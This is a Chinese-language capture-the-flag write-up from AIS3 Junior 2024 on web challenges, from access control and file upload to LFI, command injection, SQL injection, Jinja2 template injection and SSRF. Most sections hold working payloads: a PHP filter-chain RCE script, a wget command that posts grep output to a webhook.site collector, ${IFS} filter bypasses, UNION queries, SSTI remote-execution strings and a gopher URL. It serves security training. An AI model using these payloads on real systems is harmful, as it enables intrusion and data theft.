# AIS3 Junior WriteUp 2024 - Web Security by 巫奕嶔 (G)
## 01 - Broken Access Control
### BAC01
用隨機帳密可發現網址最後為 ```/user```
將網址最後直接更改成 ```/admin``` 發現可以直接進入管理員權限進而取得FLAG

### BAC02
探索一下網頁可以發現Product List裡每個商品都有一個編號,點完之後發現少一個商品編號,進入該商品編號 Detail 即可發現隱藏頁面,按下購買

### BAC03
稍微探索一下發現 ```/admin``` 可以觸發一個重新導向的頁面。
一開始以為是要用去POST ```/admin``` ,後來發現 Method Not Allow
最後嘗試抓取重新導向那頁,一開始在Burp攔截器那頁會直接導向 ```/error```
最後經過組員建議使用Repeater才成功抓到,並在此頁發現FLAG

## 02 - File Upload
### FIL01
點開 Upload Area 發現是PHP Base
又發現可以上傳 .php
於是將此檔案上傳並成功抓到FLAG
```php
<?php echo exec("grep -r AIS3_Junior ../") ?>
```
### FIL02
此題無法像 FIL01 一樣上傳PHP
將 Content-Type 改為圖片格式
以及檔名包含圖片副檔名即可通過

### FIL03
這題的限制又比 FIL02 多了結尾副檔名以及檔案標頭的檢查
一開始我先用一張正常的圖片來試合法的副檔名,最後發現 .phar 是合法的
接下來把 PNG 標頭以下的內容全部刪掉,替換為
```php
<?php echo exec("grep -r AIS3_Junior ../") ?>
```
上傳成功後成功讀取FLAG
## 03 - Local File Inclusion
### LFI01
打開這頁之後真的完全沒有頭緒,於是打開網頁原始碼查看發現它的首頁貓咪照片是透過 include.php 回傳而來
於是我直接進入 ```/include.php?GetType=file_get_contents&file=index.php``` 想查看網頁PHP原始碼
沒想到PHP直接被執行,於是我把它丟到 Burp 的 Repeater 直接GET出原始碼
在原始碼中發現帳號密碼以明文的方式出現在原始碼中,登入後取得FLAG
### LFI02
```php
<?php echo exec("grep -r AIS3_Junior ../") ?>
```
將以上PHP上傳後發現他是存在跟目錄底下的 tmp 資料夾,由於無法直接存取,往回探索
發現URL中有一個奇怪的地方 ```http://.../post.php?form=form.html```
我直接訪問網頁底下的 ```http://.../form.html``` 發現他是上傳框架內容
為了驗證想法,我導向 ```http://.../post.php?form=index.php``` 發現form這個 param 確實是框架內容
於是我直接將上傳目錄加在```form=```後面成功在框架中取得FLAG
```http://.../post.php?form=/tmp/xxxx.php```
### LFI03
搜尋 LFI 的漏洞時發現可以 [RCE](https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-php-filters),於是將腳本修改需要的格式,利用 php filter RCE成功取得FLAG
```python=
import requests
url = "http://ctfd-ais3.crazyfirelee.tw:9023/include.php"
file_to_use = "php://temp"
command = "grep -r AIS3_J ."
#<?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"
conversions = {
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'1': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.OSF1002035D.EUC-KR|convert.iconv.MAC-CYRILLIC.T.61-8BIT|convert.iconv.1046.CSIBM864|convert.iconv.OSF1002035E.UCS-4BE|convert.iconv.EBCDIC-INT1.IBM943',
'2': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO6937.OSF1002011C|convert.iconv.CP1146.EUCJP-OPEN|convert.iconv.IBM1157.UTF8',
'3': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO8859-7.CSISOLATIN3|convert.iconv.ISO-8859-9.CP905|convert.iconv.IBM1112.CSPC858MULTILINGUAL|convert.iconv.EBCDIC-CP-NL.ISO-10646',
'4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2',
'5': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.RUSCII.IBM275|convert.iconv.CSEBCDICFR.CP857|convert.iconv.EBCDIC-CP-WT.ISO88591',
'6': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-37.MACUK|convert.iconv.CSIBM297.ISO-IR-203',
'7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'a': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSIBM9066.CP1371|convert.iconv.KOI8-RU.OSF00010101|convert.iconv.EBCDIC-CP-FR.ISO-IR-156',
'b': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1399.UCS4',
'c': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.8859_9.OSF100201F4|convert.iconv.IBM1112.CP1004|convert.iconv.OSF00010007.CP285|convert.iconv.IBM-1141.OSF10020402',
'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'e': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO27LATINGREEK1.SHIFT_JISX0213|convert.iconv.IBM1164.UCS-4',
'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
'g': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022CN.CP855|convert.iconv.CSISO49INIS.IBM1142',
'h': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.THAI8.OSF100201B5|convert.iconv.NS_4551-1.CP1160|convert.iconv.CP275.IBM297',
'i': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.IBM943|convert.iconv.CUBA.CSIBM1140',
'j': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO27LATINGREEK1.UCS-4BE|convert.iconv.IBM857.OSF1002011C',
'k': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO88594.CP912|convert.iconv.ISO-IR-121.CP1122|convert.iconv.IBM420.UTF-32LE|convert.iconv.OSF100201B5.IBM-1399',
'l': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO90.MACIS|convert.iconv.CSIBM865.10646-1:1993|convert.iconv.ISO_69372.CSEBCDICATDEA',
'm': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.CSSHIFTJIS|convert.iconv.NO2.CSIBM1399',
'n': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.IBM862|convert.iconv.CP860.IBM-1399',
'o': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO8859-6.CP861|convert.iconv.904.UTF-16|convert.iconv.IBM-1122.IBM1390',
'p': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1125.IBM1146|convert.iconv.IBM284.ISO_8859-16|convert.iconv.ISO-IR-143.IBM-933',
'q': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.NC_NC00-10:81.CSIBM863|convert.iconv.CP297.UTF16BE',
'r': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-86.ISO_8859-4:1988|convert.iconv.TURKISH8.CP1149',
's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
't': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.WINDOWS-1251.CP1364|convert.iconv.IBM880.IBM-1146|convert.iconv.IBM-935.CP037|convert.iconv.IBM500.L3|convert.iconv.CP282.TS-5881',
'u': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO_6937:1992.ISO-IR-121|convert.iconv.ISO_8859-7:1987.ANSI_X3.110|convert.iconv.CSIBM1158.UTF16BE',
'v': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.HU.ISO_6937:1992|convert.iconv.CSIBM863.IBM284',
'w': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO_6937-2:1983.857|convert.iconv.8859_3.EBCDIC-CP-FR',
'x': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1254.ISO-IR-226|convert.iconv.CSMACINTOSH.IBM-1149|convert.iconv.EBCDICESA.UCS4|convert.iconv.1026.UTF-32LE',
'y': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.EBCDIC-INT1.IBM-1399',
'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
'A': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-111.IBM1130|convert.iconv.L1.ISO-IR-156',
'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C': 'convert.iconv.UTF8.CSISO2022KR',
'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'E': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.LATIN7.MACINTOSH|convert.iconv.CSN_369103.CSIBM1388',
'F': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSIBM9448.ISO-IR-103|convert.iconv.ISO-IR-199.T.61|convert.iconv.IEC_P27-1.CP937',
'G': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO_8859-3:1988.CP1142|convert.iconv.CSIBM16804.CSIBM1388',
'H': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.EUCJP-OPEN|convert.iconv.CP5347.CP1144',
'I': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO8859-6.DS2089|convert.iconv.OSF0004000A.CP852|convert.iconv.HPROMAN8.T.618BIT|convert.iconv.862.CSIBM1143',
'J': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.US.ISO-8859-13|convert.iconv.CP9066.CSIBM285',
'K': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.IBM1097.UTF-16BE',
'L': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ECMACYRILLIC.IBM256|convert.iconv.GEORGIAN-ACADEMY.10646-1:1993|convert.iconv.IBM-1122.IBM920',
'M': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.SE2.ISO885913|convert.iconv.866NAV.ISO2022JP2|convert.iconv.CP857.CP930',
'N': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.IBM9066.UTF7|convert.iconv.MIK.CSIBM16804',
'O': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-197.CSIBM275|convert.iconv.IBM1112.UTF-16BE|convert.iconv.ISO_8859-3:1988.CP500',
'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
'Q': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.NO.CP275|convert.iconv.EBCDIC-GREEK.CP936|convert.iconv.CP922.CP1255|convert.iconv.MAC-IS.EBCDIC-CP-IT',
'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'S': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1154.UCS4',
'T': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.IBM1163.CP1388|convert.iconv.OSF10020366.MS-MAC-CYRILLIC|convert.iconv.ISO-IR-25.ISO-IR-85|convert.iconv.GREEK.IBM-1144',
'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
'X': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.OSF10020388.IBM-935|convert.iconv.CP280.WINDOWS-1252|convert.iconv.CP284.IBM256|convert.iconv.CP284.LATIN1',
'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'Z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO90.CSEBCDICFISE',
'+': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ANSI_X3.4-1986.CP857|convert.iconv.OSF10020360.ISO885913|convert.iconv.EUCCN.UTF7|convert.iconv.GREEK7-OLD.UCS4',
'=': ''
}
# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"
for c in base64_payload[::-1]:
filters += conversions[c] + "|"
# decode and reencode to get rid of everything that isn't valid base64
filters += "convert.base64-decode|"
filters += "convert.base64-encode|"
# get rid of equal signs
filters += "convert.iconv.UTF8.UTF7|"
filters += "convert.base64-decode"
final_payload = f"php://filter/{filters}/resource={file_to_use}"
r = requests.get(url, params={
"0": command,
"GetType": "include",
"file": final_payload
})
print(r.text)
```

## 04 - Cross-Site Scripting
### XSS01
輸入 ```<script></script>``` 可以執行JS
```<script>alert(FLAG)</script>```獲得FLAG
## 05 - Command Injection
### CMD01
猜測網頁會把輸入的內容直接丟去執行 ```ping ${input}```
於是嘗試 ```| grep -r AIS3_Junior .``` 直接抓到FLAG

### CMD02
用 ```| grep -r AIS3_Junior .``` 同可解

### CMD03
題目把空白擋掉了,我上網查詢並參考[這篇文章](https://unix.stackexchange.com/questions/351331/how-to-send-a-command-with-arguments-without-spaces)的出空白可以用```${IFS}```替代
將上面指令轉成 ```|${IFS}grep${IFS}-r${IFS}AIS3_Junior${IFS}.``` 並取得FLAG

### CMD04
題目雖然沒有額外擋指令,但是並不會輸出指令執行結果。
想法: 用curl吐出結果
結果curl不能用,我直接改用wget,參考[此篇](https://stackoverflow.com/questions/17699666/post-request-with-wget)在配上[webhook.site](https://webhook.site/)來接收指令輸出
```|wget${IFS}--post-data${IFS}"user=$(grep${IFS}-r${IFS}AIS3_Junior${IFS}.)"${IFS}https://webhook.site/c1e0ac8f-86e5-47ac-affd-a0a36b1f06f7```

### CMD05
解法與 CMD04 相同,只是出來的結果有包含空格,一開始再輸入FLAG的時候一直沒過,後來把空格通過 URL Encode 之後就過了...
~~Blind Flag真的很像假的卡很久XDD~~

### CMD06
解法與 CMD03 一樣

## 06 - SQL Injection
### SQL01
一開始看[這篇](https://www.explainthis.io/zh-hant/swe/sql-injection)了解 SQL Injection 以及密碼的解法

### SQL02
1. 列出欄位
```d' UNION SELECT 1, 2, 3, 4 FROM information_schema.schemata -- -```

2. 列出database
```d' UNION SELECT '1',schema_name,'3','4' FROM information_schema.schemata -- # ```

3. 列出table name
```d' UNION SELECT 1, table_name, 3, 4 FROM information_schema.tables WHERE table_schema="ApexPredators" -- - ```

4. 列出table資料樣式
```d' UNION SELECT 1, column_name, 3, 4 FROM information_schema.columns WHERE table_schema="ApexPredators" and table_name="users" -- - ```

5. 列出users所有資料
```d' UNION SELECT id, username, password, isAdmin FROM ApexPredators.users-- -```

6. 用有Admin權限的帳號登入 KubenBlisk:BliskLeader#2024\

## 07 - Server-Side Template Injection
### STI01

輸入 ```{{4*4}}``` 後發現括號內容會被執行,可以使用 Jinja2 漏洞攻擊,在網路上搜尋 [SSTI Jinja2 Payload](https://www.pwny.cc/web-attacks/server-side-template-injection-ssti#jinja2) 後複製到輸入欄
```{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('grep -r AIS3_Junior .').read() }}```

### STI02
解法同 STI01

### STI03
輸入欄阻擋了非常多 Jinja2 的關鍵字,連續嘗試好幾組之後在[這篇](https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti#without-several-chars)找到可用的 Payload
```{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('grep${IFS}-r${IFS}AIS3_Junior${IFS}.')|attr('read')()%}{%print(a)%}{%endwith%}```

## 08 - Server-Side Request Forgery
### SRF01
題目提示FLAG位置在 ```/app/FLAG```
直接在輸入框內輸入 ```file:///app/FLAG``` 即可對應到該檔案

進來發現有一個損壞的 Image
查看原始碼後發現裡面包含一串 Base64 編碼後的字串
```data:image/jpeg;base64,QUlTM19KdW5pb3J7ZmlsZTovL1NTUkZfX19YREREfQ==```
使用[線上工具](https://www.base64decode.org/)進行解碼後得到 FLAG

### SRF02

瀏覽網頁後發現右上角有一個 `ADMIN PANEL`
點進去以後提示 `LOCAL ACCESS ONLY`

於是我回到上一頁輸入本地IP加上將對應網址 `/local` 得到以下網址
`http://127.0.0.1/local`
接下來操作同 SRF01 ,解碼後得到FLAG

### SRF03
這題題目跟 SRF02 相似,只是新增了對於本地IP的輸入限制
在講師的提示下我學到使用 `http://localtest.me/local`
之後我自己測試一下發現它可以對應到內網,但是網路上資源較少
解碼後取得FLAG

### SRF04
探索網頁後發現 `ADMIN PANEL` 無法使用 GET
於是我轉到 Burp Repeater 來對其發送 POST 請求
將 GET 請求轉為 POST,又發現在題目中有給帳號密碼,於是加進了 Form Data 中
自行添加 `Content-Type` 後送出,Burp 會自動算出 `Content-Length`

(原始 GET 請求)

(更改後 POST 請求)
<br/>
可以發現在回傳中提示了 `LOCAL ACCESS ONLY `
於是想到講師說到的 GOPHER ,上網更進一步搜尋後發現 `gopher://` 後接的內容就是 Burp 裡的 Request Payload ,只是多用 URL Encode 而已
所以我將 Host 與 Referer 都改為內網IP

進行 URL Encode 之後得出以下連結
`gopher://0:80/_POST%20%2Flocal%20HTTP%2F1.1%0AHost%3A%20127.0.0.1%0AAccept-Language%3A%20zh-TW%0AUpgrade-Insecure-Requests%3A%201%0AUser-Agent%3A%20Mozilla%2F5.0%20%28Windows%20NT%2010.0%3B%20Win64%3B%20x64%29%20AppleWebKit%2F537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome%2F127.0.6533.100%20Safari%2F537.36%0AAccept%3A%20text%2Fhtml%2Capplication%2Fxhtml%2Bxml%2Capplication%2Fxml%3Bq%3D0.9%2Cimage%2Favif%2Cimage%2Fwebp%2Cimage%2Fapng%2C%2A%2F%2A%3Bq%3D0.8%2Capplication%2Fsigned-exchange%3Bv%3Db3%3Bq%3D0.7%0AReferer%3A%20http%3A%2F%2F127.0.0.1%0AAccept-Encoding%3A%20gzip%2C%20deflate%2C%20br%0AConnection%3A%20keep-alive%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0AContent-Length%3A%2032%0A%0Ausername%3Dadmin%26password%3Dpassword`
</br>
輸入並解碼後得到FLAG

解完之後我才發現其實不需要使用gopher,改完 Host 跟 Referer 後送出即可直接獲得FLAG
